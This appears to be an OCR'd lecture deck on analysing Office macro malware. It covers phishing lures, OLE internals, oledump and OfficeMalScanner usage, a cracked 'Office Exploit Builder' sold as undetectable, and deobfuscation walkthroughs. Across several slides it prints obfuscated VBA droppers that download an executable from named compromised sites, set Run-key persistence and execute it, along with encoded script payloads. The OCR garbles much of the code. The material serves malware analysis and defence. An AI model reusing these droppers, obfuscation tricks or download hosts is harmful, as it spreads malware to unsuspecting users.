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New Macro Malware
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A huge spike in submissions to McAfee Labs shows that macro malware is again on the rise.

Source: McAfee Labs, 2015. ﬁ
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The author of Concept exploited a fact:
Users exchanged data far more frequently than programs.
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Spam Contains Office User Enables and Malware Downloads

Document with Macro Executes the Macro More Malware from
Control Server
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* Payment request

e Important Notice about Denied International Wire payment
e Fax-54078429-248035834

e Courier notification

e Resumes

 Payment request of 4478.63

e Help Desk US facture

e Sales Invoice

e Donation confirmations

e Facture alias Hello
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OLE ( Object Linking and Embedding , 3SiEEZSH;AN ) .

£  TEHiREEE—oledump
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OLE Heaper
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OLE Heaper
Describes the
comtained abjects
Linked Object 1
Haion. ol wiven * Embedded Object
Embedded Object 2 Diata for abjact
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2  ({EFOleDump.pyEE LT

e CHYWINDOWS system32' cmd.exe

.
C:xdemo foledump.py sample.xls

e O WINDOWS' system32'cmd.exe

C:~demopPoledump.py —s 14 —v sample.xls

AttribuCE-UBTNRame™ E]-E?EL

Attribute UB_Base = "8{00B20820-0000-H000-CHG-BBBNBBOBAAR46> "'
Attribute UB_GlobalNameSpace = False

Attribute UB_Creatable = False

Httribute UB_PredeclaredlId = True

Attribute UB_Exposed = True

Attribute UB_Templatelerived = False

Attribute UB_Customizable = True

Cindemo?
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IC:sDemooledump.py Fp plugin_http_heurizstics| sample.xls
:a 184 * ~xBICompOUh]’ '
2: 256 'o@dS5DocumentSummarylnformation’
3: 228 ' odds55ummaryInformation’
4: 4372 'Yorkbook'
L: 583 ' _UBA_PROJECT _CUR-PROJECT'
G: 83 ' _UBA_PROJECT _CUR-PROJECTwm’
7 276 ' _UBA_PROJECT_CUR-UBA-?7771°
Plugin: HTTP Heuristics plugin
276 ' _UBA_PROJECT_CUR-UBA-?72722°
Plugin: HTTP Heuristics plugin
276 ' _UBA_PROJECT_CUR-UBA-?7773°
Plugin: HTTP Heuristics plugin
261251

Plugin: HTTP Heuristics plugin
http://777.777.777 .77 :888@/stat/11d.php

8775 *_UBA_PROJECT _CUR-UBA-_UBA_PROJECT ' :
1398 ' _UBA_PROJECT_CUR-UBA~/_ SRP_@’

212 *_UBA_PROJECT_CUR-UBA~_ SRP_1°

456 *_UBA_PROJECT_CUR-UBA~/_ SRP_2*

385 ‘' _UBA_PROJECT_CUR-UBA~_ SRP_3*

LGA ‘' _UBA_PROJECT_CUR-UBA-dir’
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>:\Demoltype contains_pe_file.yara

|~
Uersion B.8.1 2814-12/13
Source code put in public domain by Didier Stevens. no Copyright
https: idierStevens.com

:“\Demojoledump.py —vy contains_pe _file.yara —D decoder_xorl.py Bookl-insert—ohje
t—exe—xorld.xls
: f 187 @1 CompOhj’
L 256 odSDocumentSummaryInformation’
3: 216 'x@5SummaryInformation’
4: 76 ’'MBDAA492DB15. \>xA1CompOhj’
5 68326 'MBDBA49DB15/\x@101lelBNative’
YARA rule {(stream decoder: H¥OR 1 bhyte key Bx14>: Contains_PE_File

6: 19567 ’Workbook’

NDemo >

YARA rule: Contains_PE_File
6: 19567 ’'Yorkhook’

:N\Demo >
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ter.org/code/OfficeMa

IScanner.zip

£  THIZEERTE—OfficeMalScanner

C:0fficeMalScanner>0fficeMalScanner.exe

OfficeMalScanner <PPT, DOC or HLE file> <scan | info> <{brute> <debugX>

Options:
sSCan — scan for several zshellcode heuristics and encrypted PE-Files
info — dumps OLE structures, offsets+length and saves found UB-Macro code
inf late — decompresses Ms Office 2007 documents, e.g. docx. into a temp dir
Switches: <only enahled if option "“scan" was selected)
bhrute — enahles the "hrute force mode" to find encrypted stuff
debugy — prints out dizassembly rezp hexoutput if a heuristic wasz found

OfficeMalScanner evil.ppt scan brute debug
OfficeMalScanner evil.ppt scan
OfficeMalScanner evil.ppt info

Malicious index rating:
Executables: 28

Code : 18
STRINGS 2 £
sk

I strongly suggest vou to scan malicious files in a safe environment
like UMWARE. as this tool is written in C and might have exploitable bugs?
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OE Builder M3 - Cracked By Alzatraz3a

0ffice Exploit Builder V3

These ar.r-_- LII'I.E rn'-_-:ql.JirEu:I settings
Direct URL To File:
Are you using Word or Excel?

Save File As; Filename

These are the optional settings

 USG Add EXE To Startup Add Text To Doc

Open Crypter Open Silent Add-0On Tutarial

Check For Updates Build Explaoit Exit

Weltome To The Best Office Fxploft Around..

Are ¥You Exploiting Word or Excel?: |w.:.r.:| R

Direct UEL To File: |332131550_153?52005315_2.jpg

Save File As: | W [.jar |
[ ] addFile To startup [ | Add Text To Doc

Crypter Silent Add-On Tutorial

El.'nec-l.:..Fur Up.l:.l:atEE bl ' Bu.ild
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Office Exploit Builder

100% FUD

24/7 support

Choose a package

PROFESSIONAL

¢130

Office Exploit Builder

100% FUD

Silent Add-On

Built In FUD Crypter

2&/7 support

<90

Dffice Exploit Builder
100% FUD

Silent Add-On

24/7 support
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1 'Macro Name: zHxdXY

2 Private Declare PtrSafe Function oqiHWOzhj Lib "shell32.d11" Alias _

3 "ShellExecuteA” (ByVal WoZfEfgkCzV As Long, ByVal sQIEQhwRFOmhKMtMSbPv As String, _

4 ByVal EFDIgmuXlkAEGyXn As String, ByVal fPxzU As String, ByVal wBPLuIhiIReGZEdvUvGASB As String, ByVal YISYUhxMTV As Long) As
Long

Private Declare PtrSafe Function jeSne Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal UiscbOAcyKYGXINocZTmjF As Long, ByVal bAFCNQgBCLVQu] As String, _
ByVal dwPKzfopnsdVdHU As String, ByVal TkoqiH As Long, ByVal WOzhjDglyJlerfQsONp As Long) As Long

loEIPrivate Sub zHxdXY()

11| Dim BZDigNCWNERcKKyy As String, YiuWqVtLXLICUSpYjplxO As String, OlmvSAetZg As String, WcMFMrRD As String,
.| TWZRrTyjeSneUiscbOAcyKY As String, GXINocZTmjFbAFCNQgBC As String

12 | YiuWgqVtLXLICUSpYjplx0 = Decrypt("fyf/pdjopdjo™)

12| OlmvSAetZg = Environ$("tmp") & "\" & YiuWgVtLXLICUSpYjplxO

15 | BZDigNCWNERcKKyy = Decrypt("npd/jmjcimjc/xxx")

17 | jeSne @, BZDigNCWNERcKKyy, OlmvSAetZg, @, ©

18 | Dim Reg As Object

19 | Set Reg = CreateObject("Wscript.shell")

20 | Reg.RegWrite "HKEY_ CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & "niconico.exe", b
21 | oqiHWOzhj @, "open”, b, "", vbNullString, vbNormalFocus

22 “End Sub

24F Private Sub Document_ Open()
25 | Dim MyText As String

26 | MyText = "=EEdk i 19°C 60%/40%"
7 | Selection.TypeText (MyText)
zZHxdXY
End Sub
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31EPrivate

Dim
enc
For

Next

Function Decrypt(enc)
i, tmp
StrReverse(enc)
1 To Len(enc)
Mid(enc, i, 1)
tmp & Chr(Asc(x) - 1)

mp

Decrypt

319 “End Function

For 1 =

X =
tmp

Next
Decrypt
End Function

Private Function Decrypt(enc)
Dim x, i, tmp
= StrReverse(enc)
1 To Len(enc)
Mid(enc, i, 1)
tmp & Chr(Asc(x) - 1)

tmp

|wsh,echo Decrypt(“npd/jmjcimjc/xxx")

YEScript Script File
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e LW INDOWSS system 32 cmnd.exe

C:demo>oledunp.py C:demo TR ETED (word) “ERHEELR (word) ~ZEH1 1 . doc

1: 114
2: 4A96
- 412
8374
163002
531

79
2260
3934
7429
4566
587

60988

! »x#1CompObj’

!SS5 DocumentSummaryInformation’
! sufSSummaryInformation’

‘1Table’
'Data’

*Macros - PROJECT'

cMacros APBOJEGT uwm?
‘Macros-UBA-Modulel’
‘Macros-UBA-Module’
'Macros-UBA-ThiszDocument’
*Macros-UBA~/_UBA_PROJECT’
‘Macros-UBA-dir’
‘thordDocument *
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Modulel.bst X'  Module2txt X%  ThisDocumenbtxt X

el
1 Attribute VB _Name = "Module2"
2HPublic Function Fuflmdjoo(a As String)

Dim bydd As Variant
4 | bydd = Shell(a, @)

JANDQKWIHD = "gwdh jkwgqwdhjkwghdjk qwd”

End Function
/EH Public Function Kakarumba(n As Integer)
El]Dim i As Integer

HFor i =1 To n Step 1

1@ Randomize
11 Kakarumba = Kakarumba + Chr(Int(121 * Rnd) + 97)
12 -Next 1
13 | BHQWID = "
14 -~ End Function
15HPublic Function Klklklklklkl(nbgjbdjgw As String)
16| Dim dhjgquqkjww As Integer, aaqjwhdg As Integer, Mhdbgwdbnsagdwhqdghd As Object, AHUDWQI As String
1/ | Dim ashdUHhda As String, dddc As Integer, AABDBHDDD As String, AsaHuhgdjhasd As String, AAHQID As String
12 | AsaHuhgdjhasd = nbgjbdjgw
29 | ashdUHhda = AsaHuhgdjhasd
26 | "wdqwdqudwg
21 | dddc = 1 - (Atn(28))
22 | HQDUQ = hhr(Val(81 + dddc))
23 | BHQDHIWQDW = "ML" & "2.5" & "erverX" & "MLH"
74 | BYGDWHQGWHDWQ = BHQDHIWQDW + “TT" + HQDUQ
25 | 'asdwqgdg
26 | AABDBHDDD = "E"

(%]
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Public Function Klklklklklkl(nbgjbdjqw As String)

Dim dhjqwgkjww As Integer, aaqjwhdq As Integer, Mhdbqwdbnsagdwhqdghd As Object, AHUDWQI As String

Dim ashdUHhda As String, dddc As Integer, AABDBHDDD As String, AsaHuhqdjhasd As String, AAHQJID As String
AsaHuhqdjhasd = nbqjbdjqw

ashdUHhda = AsaHuhqdjhasd

'wdqwdqgwdwqg

dddc = 1 - (Atn(20))

HQDUQ = hhr(Val(81 + dddc))

BHODHIWQDW = "ML" & "2.S" & “"erverX" & "MLH" Public Function Klklklklklkl(URLs As String)
BYGDWHQGWHDWQ = BHQDHIWQDW + “TT" + HQDUQ srvXMLHttp = CreateObject(MSXML2.ServerXMLHTTP)
"asdwqdq srvXMLHttp.open( 'GET', URLs)

AABDBHDDD = "E" srvXMLHttp.Send()

NBWHDWDQ = Chr(11 * 2 * 4 + 4 * dddc) Klklklklklkl = srvXMLHttp.responsetext
AABDBHDDD = "G" + AABDBHDDD & NBWHDWDQ End Function

DWQIDIQWDKWQIDHBB = "MSX" + BYGDWHQGWHDWQ

"wdwqgdqwdq

'zxcqgscqc

Set Mhdbgwdbnsagdwhqdghd = CreateObject(DWQJIDIQWDKWQIDHBB)
‘gwdqwdsadasxzc

Mhdbqwdbnsagdwhqdghd.Open AABDBHDDD, ashdUHhda
Mhdbgwdbnsagdwhgdghd.Send (AHUDWQI)

AAHQID = ThisDocument.NHdjhasbdhas(Mhdbqwdbnsagdwhqdghd)
Klklklklklkl = AAHQJD

GEDFC = "jghwd jqw”

End Function
o SEIN|TE i



56 If (hdjshd = @) Then
57 PBIn = ATTH + 51712 + CDDD

CONT = Module2.Klklklklklkl(PBIn)

NFBH = Module2.K1lklklklklk1(ATTH + STT2 + LNSS)
Else

NFBH = Module2.K1lklklklklk1(ATTH + STT1 + LNSS)
Eng I+

Ndjs = Sgn(Asc(Module2.Kakarumba(l)) - 342) + 164 + 1
ATTH = Chr(Ndjs) + Chr(Ndjs + 12) + Chr(Ndjs + 12) + Chr(Ndjs + 8) + ":/" & "/"

TSTS = "" & ".tx" + """ + ""
CDDD = "777763172631572" + TSTS
LNSS = "rara” + TSTS

STT1 = "w" + "ww.glamourstylistas.com/adm" + "inistr" + "ator/comp” + "onents/co"

STT2 = "web251.login-37.hoststar.ch/ad"” + "ministra"” + "tor/comp" + "onents/c" +

PBIn = ATTH + STT1 + CDDD

+ "m_joo" + "mlaup" + "date/"

"om_jo" + "omlaup" + "date/"

CEXRIKE T
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Ndjs
ATTH

Sgn(Asc(Module2.Kakarumba(1)) - 342) + 164 + 1
Chr(Ndjs) + Chr(Ndjs + 12) + Chr(Ndjs + 12) + Chr(Ndjs + 8) + ":/" & "/"

Public Function Kakarumba(n As Integer)

Dim 1 As Integer [nt((upperbound - lowerbound + 1) * Rnd + lowerbound)
For 1 = 1 To n Step 1
Randomize Int((217 - 97 + 1) * Rnd + 97)
Kakarumba = Kakarumba + Chr(Int(121 * Rnd) + 97)
Next 1
Ndjs = -1 + 104 + 1

ATTH = http://

CEXRI%E T
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Ndjs = Sgn(Asc(Module2.Kakarumba(l)) - 433) + 185

ATTH = Chr(Ndjs) + Chr(Ndjs + 12) + Chr(Ndjs + 12) + Chr(Ndjs + 8) &
TSTS = 4 "Ex" o+ "t

CDDD = "7777" + TSTS

LNSS = "rara"” + TSTS

STT2 = "cdinfla” + "tables.com/com" + "ponents/co" + "m_wra" + "pper/"
STT1 = "monitoringin” + "ternetu.com/c" + "omponents/c" + "om _w" + “"rapper/”
PBIn = ATTH + STT1 + CDDD

CONT = Module2.Linolium(PBIn)

If (Right(CONT, 1) <> "=") Then

PBIn = ATTH + STT2 + CDDD

CONT = Module2.Linolium(PBIn)

NFBH = Module2.Linolium(ATTH + STT1 + LNSS)

Else

NFBH = Module2.Linolium(ATTH + STT2 + LNSS)

End If

TGRIHE Tt
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FW: Your latest Chess Bill Is Ready
s

ETEANBR Hhh L 2k AT AN = e 2y
05;’?:23#3_‘3“5&‘}5%&'- [C;:a o0 - 2015-07-BillL.docm - Microsoft word
Bl ites 2 s Ty

e | BA 2 TEAS Bl wr =R 2 HE
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EH: Customerser FE P [0 n e A ACA)Q) [EEE =2
4 L : CustomerSear = i
FERS: 20155 7| EwiE ik — )
5 EHREE (=

£5:2: Your latest Che: (@ RESHE =CHEMA, PETA...

Your bill summary

AaBb( AaBl AaBb(
5 e 1 BEE -

== &

Account number: 245
Invoice Number: 2398
Bill date: July 2015
Amount: £17.50

How can | view my bill
Your Chess bill is read
Forgotten your sign in.

If you've forgotten
Making payments is

If you want to make a
You don't need to do

o Ea




Oledump/OfficeMalScanneriZBl &

C:nOfficeMalScanner>0fficeMalScanner.exe C:\demn\ﬂfﬁﬁi&*ij& (wnrd) \3&ﬁf%§$¥ﬂ& (
word ) “ZE{f|2.2015-87-Billl.docn inflate

C:“0fficeMalScanner>0fficeMalScanner.exe "C:“Documents and Settings“Administrato
r~Local Settings“Temp>DecompressedMsOfficeDocument ~word~whaProject.bin' info

[#]1 INFLATE mode selected

[#1 Opening file C: demo~THREIER (word) “EFHREFHES (word) ~ZEf|2 2015-07-Bil
11 .docnm

[#]1 Filesize is 26835 (BAx68d3> Bytes

[#]1 Microsoft Office Open XML Format document detected. [*] INFO mode selected

[#*] Opening file C:“Documents and Settings™“Administrator*Local Settings“Temp*Dec
fompressedMsOf f iceDocument sword ~whaProject . bin

[#] Filesize is 34384 (Ax8608A) Bytes

[Content_Types1.xml 1453 Bytes at Offset BxAAAAAAAA [#] M Office OLE2 Compound Format document detected

_rels/.rels 598 Bytes at Offszet BxB000A3cE
word/_relssdocument .xml.rels 939 Bytes at Offzet BxPBO00QGE 3
word/document .xml 284 Bytes at Offzet BAxBBEAA?SH
word-vhaProject.bhin 34384 Bytes at Offset BxB000@h46
word/_rels-suvhaPFroject . bin.rels 277 Bytes at Offzet BxPBABE4653 Moduledl
word-sthemesthemel . xnl 7843 Bytes at Offset BxAABA474fF Module?
word/vhaData.xml 1875 Bytes at Offzet BAxBBEA4e3?

word/settings .xnl 5568 Bytes at Offset BxB80005024 Mol
docPropsapp.xnl 992 Bytes at Offset BxBPOA56H2 Module3s
wordsstyles .xml 10816 Bytes at Offset BxPAPA5Fd4 ThisDocument
docProps/core .xml 623 Bytes at Offzet AxBBEH6A14
word/fontTable _xml 1831 Bytes at Offset BxB0B06291 UB—MACRO CODE WAS FOUND INSIDE THIS FILE?
word/vebS8ettings.xml 268 Bytes at Offset BxBB006444 The decompressed Macro code was stored here:

Found 14 files in this archive

» C:OfficeMalScanner UBAPROJECT .BIN—Macros

Content was deconpressed to C:\DOCUME™1“ADMINI™1~LOCALS™~1i“Temp-Decompreszse
dM=0f f iceDocument .

Found at least 1 “.bhin" file in the MS50ffice document container.
Try to scan it manually with SCAN+BRUTE and INFQ mode.
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1 Attribute VB Name = "Module2"
38 Function init()
Set thisfrm = Forms("main")

7 frmWidth = thisfrm.InsideWidth
8 frmHeight = thisfrm.InsideHeight

18 “End Function

11E|Public Function 1LJrFk6pKsSYJ(L9QLFPTuZDwWM As String)

12 ||L9QLFPTuZDwWM = Replace(Replace(Replace(L9QLFPTuzZDwM, Chr(e@), ""), Chr(el), ""), Chr(s59), "")
12 || Sset 1LJIrFk6pKsSYJ = CreateObject(LSQLFPTUZDwM)

14 HEnd Function

15EPrivate Sub button physical inventory Click()

15| On Error GoTo Err_button_physical inventory Click

18 strSQLWhere = Me.combo _department name.Value
19 stDocName = "physical _inventory”

20 DoCmd.OpenReport stDocName, acPreview

21

22 | Exit_button_physical inventory Click:

23 Exit Sub

24

25| Err_button_physical inventory Click:

26 MsgBox Err.Description

27 Resume Exit button physical inventory Click
28

“End Sub W_“Exlzg% 1;
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1 Attribute VB_Name = "Modulel"
2

3EPrivate Sub Form_Load()

4 Me.RecordSource = strSQLInventory

5

661 If Me.boxes > @ Or Me.pieces > @ Then

7 . Me.total = (strInventoryCount * Me.boxes) + Me.pieces
8H Else

° . Me.total = Me.pieces

18 - End If

11

12 “End Sub

13
14EPrivate Sub boxes LostFocus()
156 If Me.boxes > @ Then

16 . Me.total = strlInventoryCount * Me.boxes
17 - End If
18 “End Sub

pa
[¥s}

{=IPublic Function F1lvXHsDrWT3aY(yXhBaz@XR As Variant, c7e410X3Qq As String)
Dim NLobhieCn4Xt: Set NLobhieCn4Xt = 1LJrFk6pKsSYJ("A" & Chr(6@) & Chr(108) & Chr(111) & Chr(52) & Chr(1e8) & Chr(28)
& Chr(6l) & Chr(46) & Chr(83) & Chr(11le) & Chr(6l) & Chr(114) & Chr(68) & "e" & Chr(97) & Chr(59) & "m")

[y

VY

A-lWith NLobhieCn4dXt

.Type = 1
.0Open
7 .write yXhBaz@xR
-End With

e

P B B B B B B B B
(Vs k. SATELY 5 |

NLobhieCn4Xt.savetofile c7e418X3Qq, 2
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Y

S5E1Sub LWS8UPVW1QGKq()

56
57
58

(=fa]

6E

g N

Nrh1INh1SShGed = "h" & Chr(116) & Chr(61) & "t" & Chr(112) & Chr(58) & Chr(47) & Chr(59) & Chr(47) & Chr(99) & Chr(104)

& Chr(97) & "t" & Chr(101) & Chr(97) & Chr(117) & Chr(45) & Chr(100) & Chr(68) & Chr(161) & Chr(115) & Chr(45) & Chr(105)
& Chr(108) & "e" & Chr(115) & Chr(46) & Chr(61) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(60) & Chr(52) & Chr(116)
& Chr(102) & Chr(51) & Chr(51) & Chr(119) & Chr(47) & Chr(60) & Chr(119) & "4" & Chr(116) & Chr(52) & Chr(53) & Chr(51)

& Chr(46) & Chr(59) & Chr(161) & Chr(61) & Chr(120) & Chr(101)

Set LhZitls7wPn = 1LIrFk6pKsSYJI("M" & "i" & Chr(6@) & Chr(99) & Chr(114) & Chr(111) & Chr(61) & "s" & Chr(111) & "f"

& Chr(116) & ";" & Chr(46) & "X" & Chr(77) & Chr(60) & "L" & Chr(59) & Chr(72) & "T" & Chr(61) & Chr(84) & "P")

Nrhl1INh1S5hGed = Replace(Replace(Replace(NrhlINh1S5hGed, Chr(6@), ""), Chr(6l), ""), Chr(59), "")
CallByName LhZitls7wPn, Chr(79) & Chr(112) & Chr(101) & Chr(11@), VbMethod, Chr(71) & Chr(69) & Chr(84), _
Nrh1INh1S5hGed _

, False
Set vu2Wh85645xcP@® = 1LJIrFk6pKsSYJ(Chr(87) & "<" & Chr(83) & "c" & Chr(61) & Chr(114) & "i" & Chr(112) & "t" & Chr(59)
& Chr(46) & Chr(83) & "=" & Chr(104) & "e" & "<" & "1" & Chr(108))

Set GhbwRqU90kbF = CallByName(vu2Wh85645xcP@, Chr(69) & Chr(11le) & "v" & Chr(165) & Chr(114) & Chr(111) & "n" & "m"
& Chr(101) & Chr(110) & Chr(116), VbGet, Chr(80) & "r" & "o" & Chr(99) & "e" & Chr(115) & “s")

SD3q5HdXx0iA = GhbwRqUIOkbF(Chr(84) & Chr(69) & Chr(77) & Chr(8e))

aDPbd2byZb = SD3qg5HdXxo0iA & "\" & Chr(1e2) & Chr(103) & Chr(104) & Chr(103) & Cchr(107) & Chr(98) & Chr(98)
& Chr(46) & "e" & "x" & Chr(101)
Dim bvGEpxCVsZ() As Byte

CallByName LhZitls7wPn, Chr(83) & Chr(181) & Chr(118) & Chr(16e), VbMethod

bvGEpxCVsZ = CallByName(LhZitls7wPn, "r" & "e" & Chr(115) & Chr(112) & Chr(111) & Chr(11@) & Chr(115) & Chr(101)

& Chr(66) & Chr(111) & Chr(100) & "y", VbGet)

FlvXHsDrWT3aY bvGEpxCVsZ, aDPbd2byZb T
b
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Public Function ENMD3t8EY4A(Ka®@YAlL82q As String)
Set CYgAH@pzCPj@eA = 1LIrFk6pKsSYJ(Chr(83) & Chr(104) & "=" & Chr(101) & Chr(1@8) & Chr(59) & Chr(108) & Chr(60)
& Chr(46) & Chr(65) & Chr(112) & Chr(59) & Chr(112) & Chr(108) & "i" & Chr(60) & "c" & "a" & Chr(116) & Chr(61)
& Chr(185) & Chr(111) & Chr(118))
With CYgAH@pzCPj@eA
.Open (aDPbd2byZb)
End With
End Function

CEXRIKE T
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| #@~"ZaoAAA==a{J{z 28Zysyo ~&+ w O0+R& yo w b2++sysyAf +0ysf y{ O&++w s+)2 +syoybfy F ,2 yo ; o8y )+A& y) F& y$+s2 yb+bf+yb+G2+ z
. fy b+ 2 +by)2 +~ 0& yAy$&y ) z&++z G2+ z G2++Ayb2 +b+)2 +Ayl&y $+~& +)ybf y$ybfy z G2 y) z&+ ~ ofy Ay/&y by)f yAyff +$yff y) z&
C++~ FFHyA+A2+yb+zR&Yy AyZ2+ ~ /&y )+z& y$ ;& y$+,2 yb+bf+yA+Z2+ ~ 1fy b+)2 +Ay/2 +~ R& yby)&y $ ;&++~ Z2+ z b2++Ayf2 +b+{2 +by)&y
. $+G& +)yvf y)ybfy ~ 22 y$ ;&+ z )fy Ay9&y Ay/f ybybf +%$yff y$ ~&++z bf+yA+Z2+yA+;&y byb2+ ~ /&y $+0& y) z& y$+Z2 yA+,f+yb+b2+ ~
. 9fy A432 +by)2 +~ ;& yAy/R&Yy ) z&++~ Z2+ ~ ,2++byb2 +A+/2 +Ay1lRy )+z& +$yff y$y2fy z b2 y$ ;&+ ~ /fy by)&y Ay/f yAy,f +)ybf y$ ;&
C++~ L, F+yb+b2+yA+;R&y Ay, 2+ z )&y $+;& y$ ;& y)+b2 yA+Zf+yA+,2+ z )fy A+/2 +Ayl2 +z z& yAy9&y $ A&++z b2+ ~ Z2++AyZ2 +b+)2 +Ay9&y
. )+F& +)ybf y$yffy z v2 y) z&+ ~ /fy Ay/&y by)f yAyff +$ybf y) z&++~ Ff+yb+v2+yb+z_&y AyZ2+ ~ /&y )+z& y$ ;& y$+,2 yb+bf+yA+Z2+ ~
. 0fy b+)2 +Ay/2 +~ 0& yby)&Yy $ ;&++~ Z2+ z b2++AyZ2 +A+12 +by)&y $+;& +%y,f y)ybfy ~ 2 y$ w&+ z )fy Ay/&y Ay/f ybybf +3yZf y$ 0&
. ++zZ bf+yA+Z2+yA+08y byb2+ ~ 9&y $4G& y) z& y$+Z2 yA+Zf+yb+b2+ ~ /fy A+12 +by)2 +~ ;& yAy@Ry ) z&++~ f2+ ~ A2++byb2 +A+/2 +Ay/&y
C)+z& +3yZf y$y,fy z b2 y$ ;&+ ~ @fy by)&y Ay/f vAy,f +)ybf y$ ;&++~ ZFf+yb+b2+yA+GRy byG2+ z )&y $+G& y) +& y)+b2 yA+Zf+yA+Z2+ z
. )fy A+92 +Ay92 +z z& yAy9&y $ z&++Z b2+ ~ Z2++AyZ2 +b+)2 +Ay/R&y $+0& +)ybf y3yZfy ~ %2 y) z&+ ~ /fy Ayl&y by)f yAyZf +3yZf y) z&
e ZfHyA+, 2+yb+z8y Ayf2+ z &y )+z& y$ ;& y$+%2 yb+bf+yA+Z2+ ~ /fy b+)2 +Ay/2 +~ 0& yby)&y $ ;&++~ ,2+ z b2++Ayf2 +A+/2 +by)&y
C$+;& +3yZf y)ybfy ~ Z2 y$ 0&+ z )fy Ay9&y by{f ybybf +$yZf y$ ;&++z bf+yA+Z2+yA+0&y byb2+ ~ /&y $+R& y) z& y$+Z2 yA+Zf+yb+b2+ ~
. /fy A+12 +by)2 +~ ;& yAyl&y ) z&++~ 2+ ~ s2++byb2 +A+/2 +Ay/Ry )+z& +$yZf y3y,fy z b2 y$ ;&+ ~ Ofy by)&y Ay/f yAy,f +)ybf y$ ;&
.+~ Zf+yb+b2+yA+;8y Ay,2+ z )&y $+;& y$ O0& y)+b2 yA+ff+yA+Z2+ z )fy A+/2 +Ay/2 +z z& yAy9Ry ) F&++z b2+ ~ f2++byv2 +b+)2 +Ay/&y
. $+;8& +)ybf y$yZfy ~ ,2 y) z&+ ~ /fy Ayl&y by)f yAyff +$yAf y) z8&++~ ZFf+yA+Z2+yb+z&y AyZ2+ ~ 1&y )+z& y$ ;& y$+,2 yb+bf+yA+f2+ ~
.ofy b+)2 +Ay/2 +~ ;& yby)&y $ G&++~ Z2+ z b2++AyZ2 +A+12 +by)Ry $+;& +$yZf y)ybfy ~ 2 y$ ~&+ z )fy Ay9&y Ay$f ybybf +$yZf y3$ ;&
. ++Z bf+yA+Z2+yA+0&y byb2+ ~ /&y $+0& y) z& y$+f2 yA+2f+yb+b2+ ~ /fy A+/2 +by)2 +~ ;& yAyl&y ) z&++~ Z2+ ~ %2++byb2 +A+/2 +Ay1l&y
C)+z8& +3yZf y$yZfy z b2 y$ G&+ ~ $fy by)&y Ay9f yAyff +)ybf y$ ;8&++~ ZFf+yb+b2+yA+;8&y Ay,2+ z )&y $+;& y$ 0& y)+b2 yA+ff+yA+Z2+ z
) fy A+/2 +Ay/2 +z z& yAy/&y $ 0&++z b2+ ~ Z2++Ay%2 +b+)2 +Ay/&y $+0& +)ybf y$yZfy ~ Z2 y) z&+ ~ /fy Ayl&y by)f yAyZf +$y,f y) z&
o+~ Zf4+yA+,2+yb+z8y AyZ2+ ~ /&y )+z& y$ G& y$+A2 yb+bf+yA+f2+ ~ )fy b+)2 +Ay/2 +~ ;& yby)&y $ ;&++~ ,2+ z b2++AyZ2 +A+02 +by)&y
. $+G& +%yZf y)ybfy ~ Z2 y$ ;&+ z )fy Ay/&y Aylf ybybf +%yZf y$ R&++z bf+yA+Z2+yA+0&y byb2+ ~ /&y $+;& y) z& y$+f2 yA+Af+yb+b2+ ~
. 9fy A+%$2 +by)2 +~ ;& yAy/&y ) z&++~ Z2+ ~ ,2++byb2 +A+/2 +AylRy )+z& +$yff y$yZfy z b2 y$ ;&+ ~ /fy by)&y Ayof yAy2f +)ybf y$ ;&
C++~ %F+yb+b2+yA+;R&y AyZ2+ z )&y $+4G& y) F& y)+b2 yA+ff+yA+22+ z )fy A+/2 +Ay/2 +z z& yAy/&y $ 0&++z b2+ ~ Z2++Ay,2 +b+)2 +Ay9&y
. $+~& +)ybf y$yZfy ~ 22 y) z&+ ~ /fy Ayl&y by)f yAyZf +%y,f y) z&++~ Ff+yA+s2+yb+z_&y AyZ2+ ~ /&y )+z8& y$ G& y$+A2 yb+bf+yA+f2+ ~
. $fy b+)2 +Ay/2 +~ ;& yby)&y $ ;&++~ ,2+ z b2++AyZ2 +A+12 +by)R&y $+G& +$y2f y)ybfy ~ Z2 y$ ;&+ z )fy Ay/&y Aylf ybybf +$yZf y$ R&
. ++Z bf+yA+f2+yA+wly byb2+ ~ /&y $+;& y) z& y$+Z2 yA+,f+yb+b2+ ~ /fy A+12 +by)2 +~ G& yby &y ) z&++~ Z2+ ~ Z2++byb2 +A+/2 +Ayl&y
) +z& +3yZf y$y,fy z b2 y$ G&+ ~ /fy by)&y Ay/f yAyZf +)ybf y$ G&++~ 2f+yb+b2+yA+GRY AyZ2+ z )&y $+;& y$ ;& y)+b2 yA+ZT+yA+,2+ 2
) fy A+/2 +Ay12 +z z& yAy9&y $ wl++z b2+ ~ Z2++AyZ2 +b+)2 +Ay/8&y $+0& +)ybf y$yZfy ~ %2 y) z&+ ~ 9fy Ay3&y by)f yAyZf +$yZf y) z&
. ++~ Zf+yA+,2+yb+zR&y AyZ2+ ~ BR&y )+z& v$ ;& y$+,2 yb+bf+yA+Z2+ ~ /fy b+)2 +Ay/2 +~ 0& yby)&y $ ;&++~ %2+ z b2++Ayf2 +A+)2 +by)&y
. $+;& +3yZT y)ybfy ~ 22 y$ 0&+ z )fy Ay/&y Ayof ybybf +$yff y$ z&++z bf+yA+Z2+yA+;&y byb2+ ~ 9&y )+F& y) z& y$+f2 yA+2f+yb+b2+ ~
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JScript.Encode BIATELRER:
.vbe JIZE%: JScript Encode §%

AR FRfRIGRAYIScript EncodemiS S RINEE/IAY. vbe I i,

x="TA233C2F2F2B322F2F28322F2F2A322F2F2B32282F322719322F1F2A322F2F2A322T29322F2C2F3
22A2F322A2T7322B2F322A2A322A27322A26322426322A2A327829322B26322A2A322A27322A27322
B2A322A2A322B29322B2B322A2A322B2A322A27322A2A322B2F322B2C322A2A322B200322B2D322A
2A322B2D322B2B322A2A322B2C322B2C322A2A322B2C322B29322A2A322B2C322B29322A2A32262
C322B28322A2A322B2C322B2C322A2A322B20322A27322A2A321B2D322A26322A2A322B2C322B2C
322A2A322B2D322B2C322A2A322820322B2B322A2A322B2C322B2C322A2A327B2C322B29322A2A3
22B2C322B29322A2A322B200322B2E322A2A327B2C322B2C322A2A322B2C 322829322 A2A322B2(C32
2B29322A2A322082D322B2E322A2A322B2C322B2C322A2A32282C322B29322A2A322B2C3226B29322
AZ2A327B2C322B29322A2A322B2C322B2C322A2A32282C322829322A2A322B2C312B29322A7A3228
20322B2E322A2A322B82C322B2C322A0A322B2D322A27322A2A322820322426322A2A32282C32282




